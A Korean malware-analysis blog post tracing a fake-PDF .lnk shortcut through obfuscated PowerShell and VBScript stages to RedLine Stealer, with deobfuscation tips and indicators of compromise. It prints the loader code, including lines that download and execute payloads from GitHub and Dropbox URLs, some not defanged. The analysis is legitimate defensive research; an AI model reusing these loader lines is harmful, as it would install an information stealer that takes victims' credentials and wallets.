새로 업로드된 악성코드들 중에 재밌어 보이는 게 있지 않을까~라는 마음으로 오늘도 다양한 악성코드 데이터베이스들을 뒤져봤더니... 흥미로워 보이는 게 하나 있었더라고요... 정확히 어떤 악성코드 "family"에 속하는지 모르겠지만 한번 볼만해서 분석 결과를 공유하고자 합니다.
오늘의 해부 대상자 소개합니다~
(SHA256: e9ad5fb2cb6836ac0a35b95e834fad9e4034e40a8d395b14993dba6738e8f0f7)
파일 이름이 "playmod24.pdf.lnk"인 것을 보고 "더블 확장자... 냄새 나는군"라는 생각이 들어 콘텐츠를 봤더니 직감이 맞았습니다.
Windows
System32
WindowsPowerShell
powershell.exe
C:\\Windows\\System32
(nEW-ObjeCT SYStem.IO.comPresSiOn.DEFLaTesTReAM([sYStEm.IO.mEmoRyStream] [sYstem.COnVErT]::Frombase64StrInG('VVNdb5tAEPwrJx4KVoNtOOD88RQ5jdKnRo6sPKSVaswho4JxfNhWZPHfM3OA1Dzs7bI7szvcwjfPuQXtLWxv09bxc+GW7p17hNVXfTJ7Xboj4b8Wh6y+vjQfpRbAT9uO4ggSnoosA17DDgSv6qraHjLheYDKmcUqUiQ4Ch6zAuSSeXuLkZMRnudWQoIwIiNBDK9QjlkGLYRX9KDGqEnUAnq2JI98jGFXQCRCCR/F8GCho4RFRKIUAh0DykEoR2wCpELDhEMQzwAJOQAwRSi6zUilVg5nDCMNbWJSCEE3SkRFYZjkIA4GSwKS4JkakFK8GGSoIeb93xTBSCk8xgRK7sSVoUm5EdgkjMZwDcz0xhjbMSblClJt+mVYTsOq2OPwNyec0fjCtN4QtVoMPZirSNLosjH6ZDu9fBjSx0fu95jlS2Ga7akRq4UtE/7AymIyyeELfgFlbafYVnY25haCYzgn5JEXkvVcLNHJqiz6ySH8z8MF55ZzK43X7dWZJY5LSr6E7ZshzwOf5dAh6tTqh/oKLWzzfh4UTYa3JfL5nJbFru9i76SSVpX/iwQhIKT+p/1Xna6t/O6FYY8F5lG57iSR0TzyHRpdWUm8uS6w8rqd4Jpw9h31+xn3Y1Xj57LiLbD707hR5sL/1oy/0XwVnnUjBhBoo9HYWf94Lu//7rTjeW+7p/v1nyCIv3fRfNYHwTQY3bm/gf8E' ),[io.CompREsSiOn.COMpRESSIonMOde]::DEcompRESs )
FOreach-oBjEct{nEW-ObjeCT Io.StrEAMREADeR( $_,[tExT.enCodiNG]::ASCiI ) }
FOREaCh-oBJeCt {$_.rEaDtoEnD( ) })
. ( $enV:COmspEc[4,24,25]-jOIN'')<
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Windows
System32
WindowsPowerShell
powershell.exe
일단, 가장 눈에 띄는 부분은 Base64 인코딩 되어 있는 스트링이겠지요. Compression도 (한국어 올바른 표현 몰라요 ㅠㅠ) 사용하는 것 같은데 이를 쉽게 Cyberchef로 풀 수 있습니다. 그걸 하기 전에 강조하고 싶은 부분이 하나 더 있습니다.
파워셸 같은 경우에는 파일 분석할 때 내가 항상 가장 먼저 찾는 것은 "iex"라는 표현입니다. IEX는 Invoke-Expression이라는 의미이며 명령어를 실행시키기 위한 것입니다.
위 스크립트는 없는 것처럼 보이지만 중요한 부분은 ". ( $enV:COmspEc[4,24,25]-jOIN'')<"입니다. 왜 중요한지 사진 하나로 보겠습니다.
$env:Comspec란 것은 보다시피 "C:\Windows\system32\cmd.exe"입니다.
4,24,25 이 스트링의 4번째 24번째 25번째 캐릭터를 말하며 -join을 활용하면서 이 세 캐릭터들을 조합시킵니다.
굳지 "iex"을 사용하지 않아도 다양한 방법들로 실행을 위한 iex 스트링을 만들 수 있습니다.
디코딩 결과는 그림 3에서 확인할 수 있습니다. 이번 PS 스크립트도 deobfuscation을 사용하지만 일단 그나마 다행인 것은 "그~~렇게" 어렵지 않다는 것입니다. 다만 조금 귀찮긴 합니다.
1) 스크립트는 파워셸의 "-f" 사용하는데 이는 "Format operator"입니다.
스트링의 일부 부분인 "("{0}{1}{2}" -f 'Hidd','e','n')" 예시로 들겠습니다:
{0}, {1}, {2}는 Placeholder이며 "Hidd", "e", "n"과 다음과 같이 매칭될 것입니다.
{0} --> "Hidd"
{1} --> "e"
{2} --> "n"
결과는 Hidden입니다.
위 부분은 쉬웠지만 스크립트의 "-Command" 이후 내용이 조금 더 골치 아프게 하는 내용이 될 것 같네요
다음의 파이썬 스크립트로 남은 부분도 deobfuscate할 수 있습니다.
import re
def deobfuscate_powershell(obfuscated_script):
def format_string(match):
format_str = match.group(1)
args = match.group(2).split(',')
args = [arg.strip().strip("'") for arg in args]
return format_str.format(*args)
# Deobfuscate string formatting
pattern = r'\("([^"]+)"\s*-f\s*([^)]+)\)'
deobfuscated = re.sub(pattern, format_string, obfuscated_script)
# Handle the REPLAce operation
replace_pattern = r'."REPlA`ce"\((\[cHAR\]\d+(?:\+\[cHAR\]\d+)*),\s*\'(\\)\'\)'
replace_match = re.search(replace_pattern, deobfuscated)
if replace_match:
char_codes = re.findall(r'\d+', replace_match.group(1))
replace_from = ''.join(chr(int(code)) for code in char_codes)
deobfuscated = deobfuscated.replace(replace_match.group(0), '')
# Clean up any remaining artifacts
deobfuscated = deobfuscated.replace('`', '')
deobfuscated = deobfuscated.strip('& ')
# Replace all instances of 'sbe' with '\' as the final step
deobfuscated = deobfuscated.replace('sbe', '\\')
return deobfuscated
# The obfuscated PowerShell script
obfuscated_script = """&("{1}{2}{0}"-f 'l','p','owershel') -WindowStyle ("{0}{1}{2}" -f 'Hidd','e','n') -Command ((("{38}{1}{70}{13}{27}{12}{11}{69}{53}{34}{19}{2}{64}{48}{16}{68}{73}{54}{17}{24}{77}{21}{58}{33}{18}{37}{14}{42}{60}{9}{51}{30}{31}{45}{3}{26}{36}{44}{40}{22}{59}{6}{63}{47}{15}{78}{67}{25}{82}{28}{39}{79}{61}{80}{29}{23}{10}{20}{5}{76}{55}{81}{8}{41}{50}{74}{32}{56}{49}{35}{62}{4}{46}{71}{7}{66}{65}{0}{72}{57}{75}{52}{43}"-f'32sb','o','/24.','t','s','s','t','dowssbe','bes','e','sb','tt',' h','-Ur','4.vb','eUs','C:s','s','b','me','esbeUser','beSyst','.pd','pdf; start C:','be','eD','p://f','i','nlo','4.','est',' -Uri ','ss','2s','fi3.','f ; C:sb','i','esbe2','Inv','a','.me/24','b','s;','vbs','3','ht','b','sb','le ','esbe24.pd','eDownloa','qu','4.','/','s','besbePublic','b','b','em3','f -Ou',' Invoke-WebR','ssbe','e','File C:sbe','vbs -OutFi','tem','sbeSys','sbesb','bes','p:/','ke-WebRequest ','eWin','es','beWindow','d','e2','s','s','erssbesbePublic','d','sbe2','s','ow'))."REPlA`ce"(([cHAR]115+[cHAR]98+[cHAR]101),'\\'))"""
# Deobfuscate the script
deobfuscated = deobfuscate_powershell(obfuscated_script)
print(deobfuscated)
스크립트 실행 시키고 결과는 그림 4에서 확인할 수 있습니다.
악성코드는 http://fi3[.]me/24.vbs에 연결하여 파일을 다운로드하고 System32 폴더에 저장해 둡니다. 그 후에는 24.pdf 다운로드하여 이를 엽니다. (아마 미끼 파일?). pdf 파일 연 다음에 vbs 파일도 실행시킵니다.
(SHA256: a38938ac0643694b4d27a47a92b552e495cec0ceaa616420dec327a1967e545c)
vba 코드라 notepad++ 열었더니 기분이 안 좋아질 수 없었다... 게다가 스크립트 2667줄... 그러나 다행인 것은 저거 다 쓸데없는 garbage 코드이며 그냥 삭제하면 됩니다.
남은 코드 1100줄이었는데 사실 뭔지 확실하진 않습니다... 악성코드가 아닌 약간 모의해킹 하는 사람들이 사용하는 툴? 위협 그룹의 툴이었으면 주석이 이렇게 많았을까? 툴 사용법에 대한 헬퍼 스트링도 많고... 그리고 다 영어니까 모의해킹 툴이란 생각이 계속 뜨네요... Red Team이 프로젝트 수행 중인데 툴이 VT에 업로드 됐을까...
그래도 포기하기엔 이르니까 1100줄 중에 흥미로워 보이는 몇 부분들을 더 살펴보겠습니다.
가장 먼저 인코딩된 데이터가 보이길래 그것부터 분석합니다.
위와 비슷한 인코딩 로직이 보이며 이를 어느 정도 정리한 결과는 아래 코드블락에서 확인할 수 있습니다. 아울러, 비슷한 식으로 IEX라는 스트링을 생성하는 것이 보입니다.
. ( $SHELlId[1] + $shELlID[13] + 'x') (
"$url = 'https://raw.githubusercontent.com/NoDetecton/NoDetectOn/refs/heads/main/DetahNoth-V.txt';
$base64Content = (New-Object System.Net.WebClient).DownloadString($url);
$binaryContent = [System.Convert]::FromBase64String($base64Content);
$assembly = [Reflection.Assembly]::Load($binaryContent);
[dnlib.IO.Home]::VAL("https://www.dropbox.com/s/u37rt4mj21zqblbs5wp/txt.9988?dl=0&raw=1&token=yeklr5nlvGokkri6o9pdo", "desativado", "desativado", "desativado", "AddInProcess32", "", "")"
)
Github에 호스팅되어 있는 "DetahNoth-V.txt"라는 파일이 다운로드된 후 Reflection.Assembly에 의하여 로딩됩니다.
로딩될 파일이 Base64 인코딩돼 있어서 이를 Cyberchef로 확인했더니 PE 파일을 받습니다. Stage3까지 있었네...
dnlib.dll (SHA256:12ec76ef2298ac0d535cdb8b61a024446807da02c90c0eebcde86b3f9a04445a)
오예~ 재미가 끝나지 않네 ㅡㅡ Obfuscate된 dll 파일이네요.
Obfuscation을 풀고 Stealer라도 나올 줄 알았는데 이것은 그냥 dnlib.dll인 것 같은데? 위 dropbox 링크에서 불러올 내용과 함께 쓸지... 근데 아쉽게도 dropbox 링크 접속이 안 돼서 더는 분석 못했습니다 ㅠㅠ
dnlib.dll은 주로 코드 인젝션과 Obfuscation으로 쓰는 걸로 알려져 있는데 이렇게 다단계 악성코드 분석하다가 마지막 단계에서 아무것도 안 나오면 마음이 좀 그러네요 ㅠㅠ
그러나 VT에 돌아가서 Stage1에 대한 내용을 다시 봤는데, 다른 dropbox 링크를 확인할 수 있었고, 접속 됐습니다. 콘텐츠 역시 Base64 인코딩 돼있었습니다.
https://dl.dropboxusercontent.com/scl/fi/jepw5sblxqz12jm4tr73u/8899.txt?rlkey=onlln5irkkogdodp9o6dhyinx&st=835pgm0t&dl=1
딩동댕~ RedLine라고 하네요~. 드디어 스틸러가 나왔네요 ㅎㅎ
(SHA256: 5913ec84369b5769c39bb17281ede29c99c5bf8ef78c23075640df40a92b1f31)
Greenline이라는 툴로 Redline 콘픽도 받을 수 있습니다 (https://github.com/dr4k0nia/Greenline)
그래서 지금까지 분석한 내용을 요약하고, 생각 공유하자면:
1) -f라는 것은 Powershell의 Format String이며 이를 활용하여 IEX나 다른 수상해 보이고 AV에 의하여 탐지되는 String들을 obfuscate할 수 있다.
2) 더블 확장 가지고 있는 파일은 무조건 의심해야 한다.
3) 2nd Stage는 아직 좀 찝찝하다. 일반 모의해킹 툴인 것 같으면서도 숨은 파워셸 코드가 있다... 더 분석해봐야 할 듯
4) NET 바이너리 싫다...
이번 악성코드는 다단계 감염 과정을 사용하며, 난독화된 VBScript와 PowerShell을 활용하여 GitHub와 Dropbox에서 페이로드를 다운로드하고 실행합니다. 이러한 단계들은 최종적으로 정교한 정보 탈취 악성코드인 Redline Stealer의 배포로 이어집니다. Redline Stealer는 감염된 시스템에서 개인정보, 금융 정보, 암호화폐 지갑을 수집하는 것으로 알려져 있습니다.
185.218.125[.]157
217.62.2[.]14 // Redline --proxy-server 라는 cmd로 정할 수 있음
hxxps://www.dropbox[.]com/s/u37rt4mj21zqblbs5wp/txt.9988?dl=0&raw=1&token=yeklr5nlvGokkri6o9pdo
5913ec84369b5769c39bb17281ede29c99c5bf8ef78c23075640df40a92b1f31
12ec76ef2298ac0d535cdb8b61a024446807da02c90c0eebcde86b3f9a04445a
a38938ac0643694b4d27a47a92b552e495cec0ceaa616420dec327a1967e545c
e9ad5fb2cb6836ac0a35b95e834fad9e4034e40a8d395b14993dba6738e8f0f7